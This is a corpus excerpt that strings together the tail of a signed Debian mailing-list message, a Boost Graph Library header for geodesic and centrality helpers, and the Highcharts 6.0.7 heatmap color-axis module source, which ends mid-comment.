imEvC9sCCPfUI5hzMpdnLMKuDaaU19Pr8mn++VUKLLjabUMEXsoZsn2wuLGU7xnEUXgy7GSl
enrQPIEPoLzgkI8r5Ft+tHzYHQ17Aj+1GlG52k7ZMYIE7DCCBOgCAQEwgfIwgd0xCzAJBgNV
BAYTAlVTMRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjEfMB0GA1UECxMWVmVyaVNpZ24gVHJ1
c3QgTmV0d29yazE7MDkGA1UECxMyVGVybXMgb2YgdXNlIGF0IGh0dHBzOi8vd3d3LnZlcmlz
aWduLmNvbS9ycGEgKGMpMDUxHjAcBgNVBAsTFVBlcnNvbmEgTm90IFZhbGlkYXRlZDE3MDUG
A1UEAxMuVmVyaVNpZ24gQ2xhc3MgMSBJbmRpdmlkdWFsIFN1YnNjcmliZXIgQ0EgLSBHMgIQ
SBOV9OQIQTqIq9dOQSvr0jAJBgUrDgMCGgUAoIICzjAYBgkqhkiG9w0BCQMxCwYJKoZIhvcN
AQcBMBwGCSqGSIb3DQEJBTEPFw0xMDA0MTkyMjAzMTFaMCMGCSqGSIb3DQEJBDEWBBSs5qSs
J3BRqPiOd8J2JFLHzcEwezBfBgkqhkiG9w0BCQ8xUjBQMAsGCWCGSAFlAwQBAjAKBggqhkiG
9w0DBzAOBggqhkiG9w0DAgICAIAwDQYIKoZIhvcNAwICAUAwBwYFKw4DAgcwDQYIKoZIhvcN
AwICASgwggEDBgkrBgEEAYI3EAQxgfUwgfIwgd0xCzAJBgNVBAYTAlVTMRcwFQYDVQQKEw5W
ZXJpU2lnbiwgSW5jLjEfMB0GA1UECxMWVmVyaVNpZ24gVHJ1c3QgTmV0d29yazE7MDkGA1UE
CxMyVGVybXMgb2YgdXNlIGF0IGh0dHBzOi8vd3d3LnZlcmlzaWduLmNvbS9ycGEgKGMpMDUx
HjAcBgNVBAsTFVBlcnNvbmEgTm90IFZhbGlkYXRlZDE3MDUGA1UEAxMuVmVyaVNpZ24gQ2xh
c3MgMSBJbmRpdmlkdWFsIFN1YnNjcmliZXIgQ0EgLSBHMgIQSBOV9OQIQTqIq9dOQSvr0jCC
AQUGCyqGSIb3DQEJEAILMYH1oIHyMIHdMQswCQYDVQQGEwJVUzEXMBUGA1UEChMOVmVyaVNp
Z24sIEluYy4xHzAdBgNVBAsTFlZlcmlTaWduIFRydXN0IE5ldHdvcmsxOzA5BgNVBAsTMlRl
cm1zIG9mIHVzZSBhdCBodHRwczovL3d3dy52ZXJpc2lnbi5jb20vcnBhIChjKTA1MR4wHAYD
VQQLExVQZXJzb25hIE5vdCBWYWxpZGF0ZWQxNzA1BgNVBAMTLlZlcmlTaWduIENsYXNzIDEg
SW5kaXZpZHVhbCBTdWJzY3JpYmVyIENBIC0gRzICEEgTlfTkCEE6iKvXTkEr69IwDQYJKoZI
hvcNAQEBBQAEggEASpcHKFjqQHqQ091Ztlwg9PzvGBL1Wv7zI2LyrdsitsamWTAk9JGQDGEc
XcCmhYlzp5RP8yNBEgpGNA55Wj2YB6OvBOOyQbFHuio+v9JR2NWv0fDaCUkrOkTvMRnvW9u8
W/38H0Yfsoc8JqyQbSiOxUFXIIFFiDvQCIdWAlhN5amrQH8OysBab7QQDuv8Hjp68U74pd6y
gGdQmTgeob1x1MXLUpHAclr+0K8GWgdPyC4iiR5NowzIzs9KTNpwR3gnY9Q1Si9R+arC/KFJ
1428bFBqWld8ELa84vVywAvSicnQNHzNBnyKojUvjZLoGj1jvh0EaOrtWqKKip4ZhZLiwQAA
AAAAAA==
--------------ms090808050700030703080806--
--
To UNSUBSCRIBE, email to debian-laptop-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org
Archive: http://lists.debian.org/4BCCD31F.507@emenaker.com
|
{
"pile_set_name": "Github"
}
|
// (C) Copyright 2007 Andrew Sutton
//
// Use, modification and distribution are subject to the
// Boost Software License, Version 1.0 (See accompanying file
// LICENSE_1_0.txt or http://www.boost.org/LICENSE_1_0.txt)
#ifndef BOOST_GRAPH_DETAIL_GEODESIC_HPP
#define BOOST_GRAPH_DETAIL_GEODESIC_HPP
#include <functional>
#include <boost/config.hpp>
#include <boost/graph/graph_concepts.hpp>
#include <boost/graph/numeric_values.hpp>
#include <boost/concept/assert.hpp>
// TODO: Should this really be in detail?
namespace boost
{
// This is a very good discussion on centrality measures. While I can't
// say that this has been the motivating factor for the design and
// implementation of ths centrality framework, it does provide a single
// point of reference for defining things like degree and closeness
// centrality. Plus, the bibliography seems fairly complete.
//
// @article{citeulike:1144245,
// author = {Borgatti, Stephen P. and Everett, Martin G.},
// citeulike-article-id = {1144245},
// doi = {10.1016/j.socnet.2005.11.005},
// journal = {Social Networks},
// month = {October},
// number = {4},
// pages = {466--484},
// priority = {0},
// title = {A Graph-theoretic perspective on centrality},
// url = {http://dx.doi.org/10.1016/j.socnet.2005.11.005},
// volume = {28},
// year = {2006}
// }
// }
namespace detail {
// Note that this assumes T == property_traits<DistanceMap>::value_type
// and that the args and return of combine are also T.
template <typename Graph,
typename DistanceMap,
typename Combinator,
typename Distance>
inline Distance
combine_distances(const Graph& g,
DistanceMap dist,
Combinator combine,
Distance init)
{
BOOST_CONCEPT_ASSERT(( VertexListGraphConcept<Graph> ));
typedef typename graph_traits<Graph>::vertex_descriptor Vertex;
typedef typename graph_traits<Graph>::vertex_iterator VertexIterator;
BOOST_CONCEPT_ASSERT(( ReadablePropertyMapConcept<DistanceMap,Vertex> ));
BOOST_CONCEPT_ASSERT(( NumericValueConcept<Distance> ));
typedef numeric_values<Distance> DistanceNumbers;
BOOST_CONCEPT_ASSERT(( AdaptableBinaryFunction<Combinator,Distance,Distance,Distance> ));
// If there's ever an infinite distance, then we simply return
// infinity. Note that this /will/ include the a non-zero
// distance-to-self in the combined values. However, this is usually
// zero, so it shouldn't be too problematic.
Distance ret = init;
VertexIterator i, end;
for(boost::tie(i, end) = vertices(g); i != end; ++i) {
Vertex v = *i;
if(get(dist, v) != DistanceNumbers::infinity()) {
ret = combine(ret, get(dist, v));
}
else {
ret = DistanceNumbers::infinity();
break;
}
}
return ret;
}
// Similar to std::plus<T>, but maximizes parameters
// rather than adding them.
template <typename T>
struct maximize : public std::binary_function<T, T, T>
{
T operator ()(T x, T y) const
{ BOOST_USING_STD_MAX(); return max BOOST_PREVENT_MACRO_SUBSTITUTION (x, y); }
};
// Another helper, like maximize() to help abstract functional
// concepts. This is trivially instantiated for builtin numeric
// types, but should be specialized for those types that have
// discrete notions of reciprocals.
template <typename T>
struct reciprocal : public std::unary_function<T, T>
{
typedef std::unary_function<T, T> function_type;
typedef typename function_type::result_type result_type;
typedef typename function_type::argument_type argument_type;
T operator ()(T t)
{ return T(1) / t; }
};
} /* namespace detail */
// This type defines the basic facilities used for computing values
// based on the geodesic distances between vertices. Examples include
// closeness centrality and mean geodesic distance.
template <typename Graph, typename DistanceType, typename ResultType>
struct geodesic_measure
{
typedef DistanceType distance_type;
typedef ResultType result_type;
typedef typename graph_traits<Graph>::vertices_size_type size_type;
typedef numeric_values<distance_type> distance_values;
typedef numeric_values<result_type> result_values;
static inline distance_type infinite_distance()
{ return distance_values::infinity(); }
static inline result_type infinite_result()
{ return result_values::infinity(); }
static inline result_type zero_result()
{ return result_values::zero(); }
};
} /* namespace boost */
#endif
|
{
"pile_set_name": "Github"
}
|
/**
* @license Highcharts JS v6.0.7 (2018-02-16)
*
* (c) 2009-2017 Torstein Honsi
*
* License: www.highcharts.com/license
*/
'use strict';
(function(factory) {
if (typeof module === 'object' && module.exports) {
module.exports = factory;
} else {
factory(Highcharts);
}
}(function(Highcharts) {
(function(H) {
/**
* (c) 2010-2017 Torstein Honsi
*
* License: www.highcharts.com/license
*/
/* eslint max-len: 0 */
var Axis = H.Axis,
Chart = H.Chart,
color = H.color,
ColorAxis,
each = H.each,
extend = H.extend,
isNumber = H.isNumber,
Legend = H.Legend,
LegendSymbolMixin = H.LegendSymbolMixin,
noop = H.noop,
merge = H.merge,
pick = H.pick,
wrap = H.wrap;
// If ColorAxis already exists, we may be loading the heatmap module on top of
// Highmaps.
if (!H.ColorAxis) {
/**
* The ColorAxis object for inclusion in gradient legends
*/
ColorAxis = H.ColorAxis = function() {
this.init.apply(this, arguments);
};
extend(ColorAxis.prototype, Axis.prototype);
extend(ColorAxis.prototype, {
/**
* A color axis for choropleth maps and heat maps. Visually, the color axis
* will appear as a gradient or as separate items inside the legend,
* depending on whether the axis is scalar or based on data classes.
*
* For supported color formats, see the
* [docs article about colors](http://www.highcharts.com/docs/chart-design-and-style/colors).
*
* A scalar color axis is represented by a gradient. The colors either range
* between the [minColor](#colorAxis.minColor) and the [maxColor](#colorAxis.maxColor),
* or for more fine grained control the colors can be
* defined in [stops](#colorAxis.stops). Often times, the color axis needs
* to be adjusted to get the right color spread for the data. In addition to
* stops, consider using a logarithmic [axis type](#colorAxis.type), or
* setting [min](#colorAxis.min) and [max](#colorAxis.max) to avoid the
* colors being determined by outliers.
*
* When [dataClasses](#colorAxis.dataClasses) are used, the ranges are
* subdivided into separate classes like categories based on their values.
* This can be used for ranges between two values, but also for a true
* category. However, when your data is categorized, it may be as convenient
* to add each category to a separate series.
*
* See [the Axis object](#Axis) for programmatic access to the axis.
* @extends {xAxis}
* @excluding allowDecimals,alternateGridColor,breaks,categories,crosshair,
* dateTimeLabelFormats,lineWidth,linkedTo,maxZoom,minRange,
* minTickInterval,offset,opposite,plotBands,plotLines,showEmpty,
* title
* @product highcharts highmaps
* @optionparent colorAxis
*/
defaultColorAxisOptions: {
/**
* Whether to allow decimals on the color axis.
* @type {Boolean}
* @default true
* @product highcharts highmaps
* @apioption colorAxis.allowDecimals
*/
/**
* Determines how to set each data class' color if no individual color
* is set. The default value, `tween`, computes intermediate colors
* between `minColor` and `maxColor`. The other possible value, `category`,
* pulls colors from the global or chart specific [colors](#colors)
* array.
*
* @validvalue ["tween", "category"]
* @type {String}
* @sample {highmaps} maps/coloraxis/dataclasscolor/ Category colors
* @default tween
* @product highcharts highmaps
* @apioption colorAxis.dataClassColor
*/
/**
* An array of data classes or ranges for the choropleth map. If none
* given, the color axis is scalar and values are distributed as a gradient
* between the minimum and maximum colors.
*
* @type {Array<Object>}
* @sample {highmaps} maps/demo/data-class-ranges/ Multiple ranges
* @sample {highmaps} maps/demo/data-class-two-ranges/ Two ranges
* @product highcharts highmaps
* @apioption colorAxis.dataClasses
*/
/**
* The color of each data class. If not set, the color is pulled from
* the global or chart-specific [colors](#colors) array. In
* styled mode, this option is ignored. Instead, use colors defined in
* CSS.
*
* @type {Color}
* @sample {highmaps} maps/demo/data-class-two-ranges/ Explicit colors
* @product highcharts highmaps
* @apioption colorAxis.dataClasses.color
*/
/**
* The start of the value range that the data class represents,
* relating to the point value.
*
* The range of each `dataClass` is closed in both ends, but can be
* overridden by the next `dataClass`.
*
* @type {Number}
* @product highcharts highmaps
* @apioption colorAxis.dataClasses.from
*/
/**
* The name of the data class as it appears in the legend.
* If no name is given, it is automatically created based on the
* `from` and `to` values. For full programmatic control,
* [legend.labelFormatter](#legend.labelFormatter) can be used.
* In the formatter, `this.from` and `this.to` can be accessed.
*
* @type {String}
* @sample {highmaps} maps/coloraxis/dataclasses-name/
* Named data classes
* @sample {highmaps} maps/coloraxis/dataclasses-labelformatter/
* Formatted data classes
* @product highcharts highmaps
* @apioption colorAxis.dataClasses.name
*/
/**
* The end of the value range that the data class represents,
* relating to the point value.
*
* The range of each `dataClass` is closed in both ends, but can be
* overridden by the next `dataClass`.
*
* @type {Number}
* @product highcharts highmaps
* @apioption colorAxis.dataClasses.to
*/
/**
* @ignore
*/
lineWidth: 0,
/**
* Padding of the min value relative to the length of the axis. A
* padding of 0.05 will make a 100px axis 5px longer.
*
* @type {Number}
* @product highcharts highmaps
*/
minPadding: 0,
/**
* The maximum value of the axis in terms of map point values. If `null`,
* the max value is automatically calculated. If the `endOnTick` option
* is true, the max value might be rounded up.
*
* @type {Number}
* @sample {highmaps} maps/coloraxis/gridlines/
* Explicit min and max to reduce the effect of outliers
* @product highcharts highmaps
* @apioption colorAxis.max
*/
/**
* The minimum value of the axis in terms of map point values. If `null`,
* the min value is automatically calculated. If the `startOnTick`
* option is true, the min value might be rounded down.
*
* @type {Number}
* @sample {highmaps} maps/coloraxis/gridlines/
* Explicit min and max to reduce the effect of outliers
* @product highcharts highmaps
* @apioption colorAxis.min
*/
/**
* Padding of the max value relative to the length of the axis. A
* padding of 0.05 will make a 100px axis 5px longer.
*
* @type {Number}
* @product highcharts highmaps
*/
maxPadding: 0,
/**
* Color of the grid lines extending from the axis across the gradient.
*
* @type {Color}
* @sample {highmaps} maps/coloraxis/gridlines/ Grid lines demonstrated
* @default #e6e6e6
* @product highcharts highmaps
* @apioption colorAxis.gridLineColor
*/
/**
* The width of the grid lines extending from the axis across the
* gradient of a scalar color axis.
*
* @type {Number}
* @sample {highmaps} maps/coloraxis/gridlines/ Grid lines demonstrated
* @default 1
* @product highcharts highmaps
*/
gridLineWidth: 1,
/**
* The interval of the tick marks in axis units. When `null`, the tick
* interval is computed to approximately follow the `tickPixelInterval`.
*
* @type {Number}
* @product highcharts highmaps
* @apioption colorAxis.tickInterval
*/
/**
* If [tickInterval](#colorAxis.tickInterval) is `null` this option
* sets the approximate pixel interval of the tick marks.
*
* @type {Number}
* @default 72
* @product highcharts highmaps
*/
tickPixelInterval: 72,
/**
* Whether to force the axis to start on a tick. Use this option with
* the `maxPadding` option to control the axis start.
*
* @type {Boolean}
* @default true
* @product highcharts highmaps
*/
startOnTick: true,
/**
* Whether to force the axis to end on a tick. Use this option with
* the [maxPadding](#colorAxis.maxPadding) option to control the axis
* end.
*
* @type {Boolean}
* @default true
* @product highcharts highmaps
*/
endOnTick: true,
/** @ignore */
offset: 0,
/**
* The triangular marker on a scalar color axis that points to the
* value of the hovered area. To disable the marker, set
* `marker: null`.
*
* @type {Object}
* @sample {highmaps} maps/coloraxis/marker/ Black marker
* @product highcharts highmaps
*/
marker: {
/**
* Animation for the marker as it moves between values. Set to `false`
* to disable animation. Defaults to `{ duration: 50 }`.
*
* @type {Object|Boolean}
* @product highcharts highmaps
*/
animation: {
duration: 50
},
/**
* @ignore
*/
width: 0.01,
/**
* The color of the marker.
*
* @type {Color}
* @default #999999
* @product highcharts highmaps
*/
color: '#999999'
},
/**
* The axis labels show the number for each tick.
*
* For more live examples on label options, see [xAxis.labels in the
* Highcharts API.](/highcharts#xAxis.labels)
*
* @type {Object}
* @extends xAxis.labels
* @product highcharts highmaps
*/
labels: {
/**
* How to handle overflowing labels on horizontal color axis. Can be
* undefined or "justify". If "justify", labels will not render
* outside the legend area. If there is room to move it, it will be
* aligned to the edge, else it will be removed.
*
* @validvalue [null, "justify"]
* @type {String}
* @default justify
* @product highcharts highmaps
*/
overflow: 'justify',
rotation: 0
},
/**
* The color to represent the minimum of the color axis. Unless [dataClasses](#colorAxis.
* dataClasses) or [stops](#colorAxis.stops) are set, the gradient
* starts at this value.
*
* If dataClasses are set, the color is based on minColor and maxColor
* unless a color is set for each data class, or the [dataClassColor](#colorAxis.
* dataClassColor) is set.
*
* @type {Color}
* @sample {highmaps} maps/coloraxis/mincolor-maxcolor/ Min and max colors on scalar (gradient) axis
* @sample {highmaps} maps/coloraxis/mincolor-maxcolor-dataclasses/ On data classes
* @default #e6ebf5
* @product highcharts highmaps
*/
minColor: '#e6ebf5',
/**
* The color to represent the maximum of the color axis. Unless [dataClasses](#colorAxis.
* dataClasses) or [stops](#colorAxis.stops) are set, the gradient
* ends at this value.
*
* If dataClasses are set, the color is based on minColor and maxColor
* unless a color is set for each data class, or the [dataClassColor](#colorAxis.
* dataClassColor) is set.
*
* @type {Color}
* @sample {highmaps} maps/coloraxis/mincolor-maxcolor/ Min and max colors on scalar (gradient) axis
* @sample {highmaps} maps/coloraxis/mincolor-maxcolor-dataclasses/ On data classes
* @default #003399
* @product highcharts highmaps
*/
maxColor: '#003399',
/**
* Color stops for the gradient of a scalar color axis. Use this in
* cases where a linear gradient between a `minColor` and `maxColor`
* is not sufficient. The stops is an array of tuples, where the first
* item is a float between 0 and 1 assigning the relative position in
* the gradient, and the second item is the color.
*
* @type {Array<Array>}
* @sample {highmaps} maps/demo/heatmap/ Heatmap with three color stops
* @product highcharts highmaps
* @apioption colorAxis.stops
*/
/**
* The pixel length of the main tick marks on the color axis.
*/
tickLength: 5,
/**
* The type of interpolation to use for the color axis. Can be `linear`
* or `logarithmic`.
*
* @validvalue ["linear", "logarithmic"]
* @type {String}
* @default linear
* @product highcharts highmaps
* @apioption colorAxis.type
*/
/**
* Whether to reverse the axis so that the highest number is closest
* to the origin. Defaults to `false` in a horizontal legend and `true`
* in a vertical legend, where the smallest value starts on top.
*
* @type {Boolean}
* @product highcharts highmaps
* @apioption colorAxis.reversed
*/
/**
* Fires when the legend item belonging to the colorAxis is clicked.
* One parameter, `event`, is passed to the function.
*
* @type {Function}
* @product highcharts highmaps
* @apioption colorAxis.events.legendItemClick
*/
/**
* Whether to display the colorAxis in the legend.
*
* @type {Boolean}
* @see [heatmap.showInLegend](#series.heatmap.showInLegend)
* @default true
* @since 4.2.7
* @product highcharts highmaps
*/
showInLegend: true
},
// Properties to preserve after destroy, for Axis.update (#5881, #6025)
keepProps: [
'legendGroup',
'legendItemHeight',
'legendItemWidth',
'legendItem',
'legendSymbol'
].concat(Axis.prototype.keepProps),
/**
* Initialize the color axis
*/
init: function(chart, userOptions) {
var horiz = chart.options.legend.layout !== 'vertical',
options;
this.coll = 'colorAxis';
// Build the options
options = merge(this.defaultColorAxisOptions, {
side: horiz ? 2 : 1,
reversed: !horiz
}, userOptions, {
opposite: !horiz,
showEmpty: false,
title: null,
visible: chart.options.legend.enabled
});
Axis.prototype.init.call(this, chart, options);
// Base init() pushes it to the xAxis array, now pop it again
// chart[this.isXAxis ? 'xAxis' : 'yAxis'].pop();
// Prepare data classes
if (userOptions.dataClasses) {
this.initDataClasses(userOptions);
}
this.initStops();
// Override original axis properties
this.horiz = horiz;
this.zoomEnabled = false;
// Add default values
this.defaultLegendLength = 200;
},
initDataClasses: function(userOptions) {
var chart = this.chart,
dataClasses,
colorCounter = 0,
colorCount = chart.options.chart.colorCount,
options = this.options,
len = userOptions.dataClasses.length;
this.dataClasses = dataClasses = [];
this.legendItems = [];
each(userOptions.dataClasses, function(dataClass, i) {
var colors;
dataClass = merge(dataClass);
dataClasses.push(dataClass);
if (dataClass.color) {
return;
}
if (options.dataClassColor === 'category') {
colors = chart.options.colors;
colorCount = colors.length;
dataClass.color = colors[colorCounter];
dataClass.colorIndex = colorCounter;
// increase and loop back to zero
colorCounter++;
if (colorCounter === colorCount) {
colorCounter = 0;
}
} else {
dataClass.color = color(options.minColor).tweenTo(
color(options.maxColor),
len < 2 ? 0.5 : i / (len - 1) // #3219
);
}
});
},
/**
* Override so that ticks are not added in data class axes (#6914)
*/
setTickPositions: function() {
if (!this.dataClasses) {
return Axis.prototype.setTickPositions.call(this);
}
},
initStops: function() {
this.stops = this.options.stops || [
[0, this.options.minColor],
[1, this.options.maxColor]
];
each(this.stops, function(stop) {
stop.color = color(stop[1]);
});
},
/**
* Extend the setOptions method to process extreme colors and color
* stops.
*/
setOptions: function(userOptions) {
Axis.prototype.setOptions.call(this, userOptions);
this.options.crosshair = this.options.marker;
},
setAxisSize: function() {
var symbol = this.legendSymbol,
chart = this.chart,
legendOptions = chart.options.legend || {},
x,
y,
width,
height;
if (symbol) {
this.left = x = symbol.attr('x');
this.top = y = symbol.attr('y');
this.width = width = symbol.attr('width');
this.height = height = symbol.attr('height');
this.right = chart.chartWidth - x - width;
this.bottom = chart.chartHeight - y - height;
this.len = this.horiz ? width : height;
this.pos = this.horiz ? x : y;
} else {
// Fake length for disabled legend to avoid tick issues
// and such (#5205)
this.len = (
this.horiz ?
legendOptions.symbolWidth :
legendOptions.symbolHeight
) || this.defaultLegendLength;
}
},
normalizedValue: function(value) {
if (this.isLog) {
value = this.val2lin(value);
}
return 1 - ((this.max - value) / ((this.max - this.min) || 1));
},
/**
* Translate from a value to a color
*/
toColor: function(value, point) {
var pos,
stops = this.stops,
from,
to,
color,
dataClasses = this.dataClasses,
dataClass,
i;
if (dataClasses) {
i = dataClasses.length;
while (i--) {
dataClass = dataClasses[i];
from = dataClass.from;
to = dataClass.to;
if (
(from === undefined || value >= from) &&
(to === undefined || value <= to)
) {
color = dataClass.color;
if (point) {
point.dataClass = i;
point.colorIndex = dataClass.colorIndex;
}
break;
}
}
} else {
pos = this.normalizedValue(value);
i = stops.length;
while (i--) {
if (pos > stops[i][0]) {
break;
}
}
from = stops[i] || stops[i + 1];
to = stops[i + 1] || from;
// The position within the gradient
pos = 1 - (to[0] - pos) / ((to[0] - from[0]) || 1);
color = from.color.tweenTo(
to.color,
pos
);
}
return color;
},
/**
* Override the getOffset method to add the whole axis groups inside
* the legend.
*/
getOffset: function() {
var group = this.legendGroup,
sideOffset = this.chart.axisOffset[this.side];
if (group) {
// Hook for the getOffset method to add groups to this parent group
this.axisParent = group;
// Call the base
Axis.prototype.getOffset.call(this);
// First time only
if (!this.added) {
this.added = true;
this.labelLeft = 0;
this.labelRight = this.width;
}
// Reset it to avoid color axis reserving space
this.chart.axisOffset[this.side] = sideOffset;
}
},
/**
* Create the color gradient
*/
setLegendColor: function() {
var grad,
horiz = this.horiz,
reversed = this.reversed,
one = reversed ? 1 : 0,
zero = reversed ? 0 : 1;
grad = horiz ? [one, 0, zero, 0] : [0, zero, 0, one]; // #3190
this.legendColor = {
linearGradient: {
x1: grad[0],
y1: grad[1],
x2: grad[2],
y2: grad[3]
},
stops: this.stops
};
},
/**
* The color axis appears inside the legend and has its own legend symbol
*/
drawLegendSymbol: function(legend, item) {
var padding = legend.padding,
legendOptions = legend.options,
horiz = this.horiz,
width = pick(
legendOptions.symbolWidth,
horiz ? this.defaultLegendLength : 12
),
height = pick(
legendOptions.symbolHeight,
horiz ? 12 : this.defaultLegendLength
),
labelPadding = pick(legendOptions.labelPadding, horiz ? 16 : 30),
itemDistance = pick(legendOptions.itemDistance, 10);
this.setLegendColor();
// Create the gradient
item.legendSymbol = this.chart.renderer.rect(
0,
legend.baseline - 11,
width,
height
).attr({
zIndex: 1
}).add(item.legendGroup);
// Set how much space this legend item takes up
this.legendItemWidth = width + padding +
(horiz ? itemDistance : labelPadding);
this.legendItemHeight = height + padding + (horiz ? labelPadding : 0);
},
/**
* Fool the legend
*/
setState: function(state) {
each(this.series, function(series) {
series.setState(state);
});
},
visible: true,
setVisible: noop,
getSeriesExtremes: function() {
var series = this.series,
i = series.length;
this.dataMin = Infinity;
this.dataMax = -Infinity;
while (i--) {
if (series[i].valueMin !== undefined) {
this.dataMin = Math.min(this.dataMin, series[i].valueMin);
this.dataMax = Math.max(this.dataMax, series[i].valueMax);
}
}
},
drawCrosshair: function(e, point) {
var plotX = point && point.plotX,
plotY = point && point.plotY,
crossPos,
axisPos = this.pos,
axisLen = this.len;
if (point) {
crossPos = this.toPixels(point[point.series.colorKey]);
if (crossPos < axisPos) {
crossPos = axisPos - 2;
} else if (crossPos > axisPos + axisLen) {
crossPos = axisPos + axisLen + 2;
}
point.plotX = crossPos;
point.plotY = this.len - crossPos;
Axis.prototype.drawCrosshair.call(this, e, point);
point.plotX = plotX;
point.plotY = plotY;
if (
this.cross &&
!this.cross.addedToColorAxis &&
this.legendGroup
) {
this.cross
.addClass('highcharts-coloraxis-marker')
.add(this.legendGroup);
this.cross.addedToColorAxis = true;
this.cross.attr({
fill: this.crosshair.color
});
}
}
},
getPlotLinePath: function(a, b, c, d, pos) {
// crosshairs only
return isNumber(pos) ? // pos can be 0 (#3969)
(
this.horiz ? [
'M',
pos - 4, this.top - 6,
'L',
pos + 4, this.top - 6,
pos, this.top,
'Z'
] : [
'M',
this.left, pos,
'L',
this.left - 6, pos + 6,
this.left - 6, pos - 6,
'Z'
]
) :
Axis.prototype.getPlotLinePath.call(this, a, b, c, d);
},
update: function(newOptions, redraw) {
var chart = this.chart,
legend = chart.legend;
each(this.series, function(series) {
// Needed for Axis.update when choropleth colors change
series.isDirtyData = true;
});
// When updating data classes, destroy old items and make sure new ones
// are created (#3207)
if (newOptions.dataClasses && legend.allItems) {
each(legend.allItems, function(item) {
if (item.isDataClass && item.legendGroup) {
item.legendGroup.destroy();
}
});
chart.isDirtyLegend = true;
}
// Keep the options structure updated for export. Unlike xAxis and
// yAxis, the colorAxis is not an array. (#3207)
chart.options[this.coll] = merge(this.userOptions, newOptions);
Axis.prototype.update.call(this, newOptions, redraw);
if (this.legendItem) {
this.setLegendColor();
legend.colorizeItem(this, true);
}
},
/**
* Extend basic axis remove by also removing the legend item.
*/
remove: function() {
if (this.legendItem) {
this.chart.legend.destroyItem(this);
}
Axis.prototype.remove.call(this);
},
/**
* Get the legend item symbols for data classes
*/
getDataClassLegendSymbols: function() {
var axis = this,
chart = this.chart,
legendItems = this.legendItems,
legendOptions = chart.options.legend,
valueDecimals = legendOptions.valueDecimals,
valueSuffix = legendOptions.valueSuffix || '',
name;
if (!legendItems.length) {
each(this.dataClasses, function(dataClass, i) {
var vis = true,
from = dataClass.from,
to = dataClass.to;
// Assemble the default name. This can be overridden
// by legend.options.labelFormatter
name = '';
if (from === undefined) {
name = '< ';
} else if (to === undefined) {
name = '> ';
}
if (from !== undefined) {
name += H.numberFormat(from, valueDecimals) + valueSuffix;
}
if (from !== undefined && to !== undefined) {
name += ' - ';
}
if (to !== undefined) {
name += H.numberFormat(to, valueDecimals) + valueSuffix;
}
// Add a mock object to the legend items
legendItems.push(extend({
chart: chart,
name: name,
options: {},
drawLegendSymbol: LegendSymbolMixin.drawRectangle,
visible: true,
setState: noop,
isDataClass: true,
setVisible: function() {
vis = this.visible = !vis;
each(axis.series, function(series) {
each(series.points, function(point) {
if (point.dataClass === i) {
point.setVisible(vis);
}
});
});
chart.legend.colorizeItem(this, vis);
}
}, dataClass));
});
}
return legendItems;
},
name: '' // Prevents 'undefined' in legend in IE8
});
/**
* Handle animation of the color attributes directly
*/
each(['fill', 'stroke'], function(prop) {
H.Fx.prototype[prop + 'Setter'] = function() {
this.elem.attr(
prop,
color(this.start).tweenTo(
color(this.end),
this.pos
),
null,
true
);
};
});
/**
* Extend the chart getAxes method to also get the color axis
*/
wrap(Chart.prototype, 'getAxes', function(proceed) {
var options = this.options,
colorAxisOptions = options.colorAxis;
proceed.call(this);
this.colorAxis = [];
if (colorAxisOptions) {
new ColorAxis(this, colorAxisOptions); // eslint-disable-line no-new
}
});
/**
* Wrap the legend getAllItems method to add the color axis. This also removes
* the axis' own series to prevent them from showing up individually.
*/
wrap(Legend.prototype, 'getAllItems', function(proceed) {
var allItems = [],
colorAxis = this.chart.colorAxis[0];
if (colorAxis && colorAxis.options) {
if (colorAxis.options.showInLegend) {
// Data classes
if (colorAxis.options.dataClasses) {
allItems = allItems.concat(
colorAxis.getDataClassLegendSymbols()
);
// Gradient legend
} else {
// Add this axis on top
allItems.push(colorAxis);
}
}
// Don't add the color axis' series
each(colorAxis.series, function(series) {
series.options.showInLegend = false;
});
}
return allItems.concat(proceed.call(this));
});
wrap(Legend.prototype, 'colorizeItem', function(proceed, item, visible) {
proceed.call(this, item, visible);
if (visible && item.legendColor) {
item.legendSymbol.attr({
fill: item.legendColor
});
}
});
// Updates in the legend need to be reflected in the color axis (6888)
wrap(Legend.prototype, 'update', function(proceed) {
proceed.apply(this, [].slice.call(arguments, 1));
if (this.chart.colorAxis[0]) {
this.chart.colorAxis[0].update({}, arguments[2]);
}
});
}
}(Highcharts));
(function(H) {
/**
* (c) 2010-2017 Torstein Honsi
*
* License: www.highcharts.com/license
*/
var defined = H.defined,
each = H.each,
noop = H.noop,
seriesTypes = H.seriesTypes;
/**
* Mixin for maps and heatmaps
*/
H.colorPointMixin = {
/**
* Color points have a value option that determines whether or not it is
* a null point
*/
isValid: function() {
// undefined is allowed
return (
this.value !== null &&
this.value !== Infinity &&
this.value !== -Infinity
);
},
/**
* Set the visibility of a single point
*/
setVisible: function(vis) {
var point = this,
method = vis ? 'show' : 'hide';
// Show and hide associated elements
each(['graphic', 'dataLabel'], function(key) {
if (point[key]) {
point[key][method]();
}
});
},
setState: function(state) {
H.Point.prototype.setState.call(this, state);
if (this.graphic) {
this.graphic.attr({
zIndex: state === 'hover' ? 1 : 0
});
}
}
};
H.colorSeriesMixin = {
pointArrayMap: ['value'],
axisTypes: ['xAxis', 'yAxis', 'colorAxis'],
optionalAxis: 'colorAxis',
trackerGroups: ['group', 'markerGroup', 'dataLabelsGroup'],
getSymbol: noop,
parallelArrays: ['x', 'y', 'value'],
colorKey: 'value',
pointAttribs: seriesTypes.column.prototype.pointAttribs,
/**
* In choropleth maps, the color is a result of the value, so this needs
* translation too
*/
translateColors: function() {
var series = this,
nullColor = this.options.nullColor,
colorAxis = this.colorAxis,
colorKey = this.colorKey;
each(this.data, function(point) {
var value = point[colorKey],
color;
color = point.options.color ||
(
point.isNull ?
nullColor :
(colorAxis && value !== undefined) ?
colorAxis.toColor(value, point) :
point.color || series.color
);
if (color) {
point.color = color;
}
});
},
/**
* Get the color attibutes to apply on the graphic
*/
colorAttribs: function(point) {
var ret = {};
if (defined(point.color)) {
ret[this.colorProp || 'fill'] = point.color;
}
return ret;
}
};
}(Highcharts));
(function(H) {
/**
* (c) 2010-2017 Torstein Honsi
*
* License: www.highcharts.com/license
*/
var colorPointMixin = H.colorPointMixin,
colorSeriesMixin = H.colorSeriesMixin,
each = H.each,
LegendSymbolMixin = H.LegendSymbolMixin,
merge = H.merge,
noop = H.noop,
pick = H.pick,
Series = H.Series,
seriesType = H.seriesType,
seriesTypes = H.seriesTypes;
/**
* A heatmap is a graphical representation of data where the individual values
